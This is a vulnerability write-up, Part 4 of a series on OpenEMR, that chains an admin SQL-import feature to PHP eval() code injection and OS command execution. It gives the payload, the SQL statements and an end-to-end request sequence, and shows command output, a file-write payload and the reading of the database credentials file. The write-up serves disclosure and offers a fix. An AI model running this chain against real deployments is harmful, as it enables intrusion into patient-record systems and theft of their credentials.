THE EVAL() THAT NOBODY WAS SUPPOSED TO FIND — SQL IMPORT CHAINS TO OS COMMAND EXECUTION IN OPENEMR 8.0.0.3 AND 8.2.0

TL;DR — The OpenEMR document category tree uses PHP eval() to construct nested arrays from database rows. The id column of the categories table is normally an INT(11), which prevents string injection — but the SQL import primitive from Part 3 allows an admin to alter the column type to VARCHAR(255) and insert a PHP payload. When any page loads the document category tree, eval() executes the payload as the Apache web server user. Confirmed: uid=1000(apache) on Alpine Linux 3.22.3.

---

THE EVAL() I WASN'T EXPECTING

When I found the SQL import primitive in Part 3, my first instinct was to ask: what else in this codebase trusts data that comes from the database without escaping it? In most applications, the database is treated as a trusted source. Data goes in through validated application paths and comes back out as data, not as code. The trust model breaks down whenever a code path treats database-retrieved strings as something to be executed rather than displayed.

I went looking for PHP eval() calls that sourced their input from database queries.

I found one in /library/classes/Tree.class.php at line 141. The comment above it read:

// TODO: refactor this - the eval here is a code smell
eval($ar_string);

The developers knew. They had flagged it as a code smell. They had written a TODO comment. And it had sat there, unfixed, in the codebase.

Let me explain what $ar_string contains.

---

HOW THE CATEGORY TREE WORKS

OpenEMR's document management system organizes documents into categories using a Modified Preorder Tree Traversal (MPTT) structure — a classic technique for storing hierarchical data in a relational database. The categories table has lft and rght columns that encode the position of each node in the tree.

The Tree class loads the entire tree from the database in one query, then reconstructs the nested array structure in PHP. The reconstruction happens through eval(). The loading code, starting around line 119 in Tree.class.php, builds a PHP code string from the database rows:

foreach ($rows as $row) {
    $ar_string .= '$ar["' . $row['pid'] . '"]["' . $row['id'] . '"] = '
               . '"' . addslashes($row['value']) . '"' . ";\n";
}
eval($ar_string);

The pid column is the parent ID. The id column is the row's own ID. The value column stores the category name.

For a normal row with id=5, pid=1, value=Invoices, the eval'd string becomes:

$ar["1"]["5"] = "Invoices";

Perfectly safe — id is an integer. Integers cannot contain quotes, semicolons, or any PHP syntax that would break out of the string context.

Unless the integer is not an integer anymore.

---

THE COLUMN TYPE IS THE ONLY GUARD

id in the categories table is defined as INT(11) NOT NULL. MySQL enforces this: you cannot insert a string into an INT column. The column type is the only thing preventing a malicious string from reaching eval().

This is not a defense-in-depth design. It is a single point of failure.

And I had already found — in Part 3 — a way to execute arbitrary SQL against the database.

The attack chain takes shape:

1. Use backup.php to upload a SQL file containing ALTER TABLE categories MODIFY COLUMN id VARCHAR(255)
2. The column type changes to a string type
3. Upload a second SQL file that inserts a row with a PHP payload in the id field
4. Access any page that instantiates a CategoryTree object
5. eval() executes the payload

---

CRAFTING THE INJECTION

The key is constructing a payload that produces syntactically valid PHP when interpolated into the $ar_string template. The template structure is:

$ar["<pid>"]["<id>"] = "<value>";

If our id value is 99"] = 1; passthru("id"); $ar["1, then the eval'd string for that row becomes:

$ar["1"]["99"] = 1; passthru("id"); $ar["1"] = "poc_rce";

Valid PHP. passthru("id") executes the id command and writes the output directly to PHP's output buffer — which means it appears at the top of the HTTP response before any HTML rendering begins.

For this row to appear in the eval() call at all, it needs to be within the MPTT bounds of the tree being loaded. CategoryTree is instantiated with a root node ID of 1, and it loads all rows within the left/right bounds of that root. The default root has lft=0, rght=67. I needed my injected row to have lft and rght values within that range.

The complete SQL to set this up:

-- Step 1: Allow string values in the id column
ALTER TABLE categories MODIFY COLUMN id VARCHAR(255);

-- Step 2: Expand root's right bound to make room for a new child
UPDATE categories SET rght = rght + 2 WHERE id = '1';

-- Step 3: Insert the malicious node
INSERT INTO categories (id, name, value, parent, lft, rght, aco_spec, codes)
VALUES (
  '99"] = 1; passthru("id; hostname"); $ar["1',
  'poc_rce',
  '',
  '1',
  67,
  68,
  'patients|docs',
  ''
);

---

PULLING THE TRIGGER

Any page that loads the document category tree triggers the eval. The most direct path is:

GET /controller.php?document_category&list

This instantiates CategoryTree(1), which calls load_tree(), which calls Tree::__construct(), which runs the SQL query, builds $ar_string, and calls eval().

I sent the request. The response came back with the command output prepended before the HTML:

uid=1000(apache) gid=101(apache) groups=82(www-data),101(apache)
362377de5b42

The hostname 362377de5b42 is the Docker container ID. The system is Alpine Linux 3.22.3. The Apache web server process runs as uid=1000(apache).

---

GOING FURTHER: FILE WRITE AND OS EXPLORATION

With arbitrary PHP execution, I verified several additional capabilities without pushing into territory that was beyond the PoC scope:

File write to /tmp:

file_put_contents("/tmp/poc_rce002.txt", shell_exec("id; hostname; cat /etc/os-release | head -3"))

Confirmed via a follow-up SQL injection that loaded the file back via LOAD DATA INFILE — a neat trick that demonstrates both the write capability and the bidirectional data flow between PHP execution and SQL access.

Reading application configuration:

From /var/www/localhost/htdocs/openemr/sites/default/sqlconf.php, which contains the database credentials (DB_USER=openemr, DB_PASS, DB_HOST=172.20.0.3). These credentials provide direct database access from any system that can reach the MySQL host.

Kernel information:

Linux 362377de5b42 6.17.0-20-generic #20~22.04.1-Ubuntu SMP x86_64 GNU/Linux

Alpine Linux as the container OS, Ubuntu as the host kernel. Standard Docker deployment.

---

THE EVAL() HAS A TODO COMMENT

I want to dwell on this for a moment, because it is an unusual finding.

The eval($ar_string) call in Tree.class.php:141 has a developer-written comment identifying it as a problem. The code has been in the codebase long enough that someone, at some point, recognized it was wrong. They wrote // TODO: refactor this - the eval here is a code smell. And it stayed.

I went looking for how old this code is. The Tree class is deeply embedded in OpenEMR's legacy architecture. It predates the modern Symfony/Laminas framework that OpenEMR has been migrating toward. Refactoring it requires understanding the entire CategoryTree/DocumentCategory subsystem, which is non-trivial.

The irony is that the data type constraint on the id column — INT(11) — was probably never designed as a security control. It was just the natural schema for an integer primary key. The actual defense was an accident of design. And it is an accident that a single ALTER TABLE statement can undo.

The fix for eval() is not to harden the inputs. It is to eliminate the eval(). The Tree class builds a nested PHP array from database rows — there is no reason this requires code evaluation. A simple recursive function with $ar[$row['pid']][$row['id']] = $row['value'] does the same thing without executing anything.

---

THE EXACT EXPLOIT SEQUENCE, END TO END

For completeness, here is the full chain from admin authentication to OS command execution:

1. Authenticate:

POST /interface/main/main_screen.php?auth=login&site=default
  authUser=admin&clearPass=pass&languageChoice=1&new_login_session_management=1

2. Get CSRF token:

GET /interface/main/backup.php
  → extract csrf_token_form hidden field value

3. ALTER the categories table:

POST /interface/main/backup.php
  csrf_token_form=<token>&form_step=202
  file: ALTER TABLE categories MODIFY COLUMN id VARCHAR(255);

4. Insert the malicious category:

POST /interface/main/backup.php
  csrf_token_form=<token>&form_step=202
  file: UPDATE categories SET rght = rght + 2 WHERE id = '1';
        INSERT INTO categories (id, name, value, parent, lft, rght, aco_spec, codes)
        VALUES ('99"] = 1; passthru("id; hostname"); $ar["1', 'poc_rce', '', '1', 67, 68, 'patients|docs', '');

5. Trigger eval():

GET /controller.php?document_category&list
  → response begins with OS command output before HTML

6. Cleanup:

POST /interface/main/backup.php (form_step=202):
  DELETE FROM categories WHERE name = 'poc_rce';
  ALTER TABLE categories MODIFY COLUMN id INT(11) NOT NULL;
  UPDATE categories SET rght = 67 WHERE id = 1;

---

WHAT THE FULL CHAIN MEANS IN PRACTICE

The severity uplift from chaining the two findings is real: the backup-import SQL primitive (Part 3) alone is "admin with database write access can steal credentials," while the full chain — that primitive plus this eval() injection — is "admin with database write access has operating system access."

These have different blast radii. Database access is bounded by the application schema. OS access is bounded by what the web server user can reach — which, in a typical deployment, includes:

• Reading all application source code (including secrets embedded in configuration files)
• Reading environment variables and mounted secrets
• Making outbound network connections for lateral movement
• Writing files to directories accessible by the web server
• In non-container deployments: accessing other services running on the same host

In the test environment, the web server user could not write to the web root (Apache's document directory lacked world-write permissions), and secure_file_priv blocked INTO OUTFILE from SQL. These configuration choices prevented the easiest escalation paths. But the code execution capability itself was confirmed, and the hardening of the environment is not a property of the application — it is a property of this particular deployment.

---

DISCLOSURE TIMELINE

---

OpenEMR is an open-source project available at https://github.com/openemr/openemr. These findings were demonstrated on OpenEMR 8.0.0.3 and confirmed still exploitable against the current release (8.2.0). All testing was performed as independent security research against a dedicated, self-hosted test instance. No production systems or real patient data were accessed or affected.

This is Part 4 of a five-part series on vulnerabilities in OpenEMR 8.0.0.3. Part 1 covered the unauthenticated OAuth2 registration chain. Part 2 covered pre-auth information disclosure and the password grant. Part 3 covered the SQL import primitive that enables this chain. Part 5 covers stored XSS in the patient portal and a missing HttpOnly flag that escalates it to session hijacking.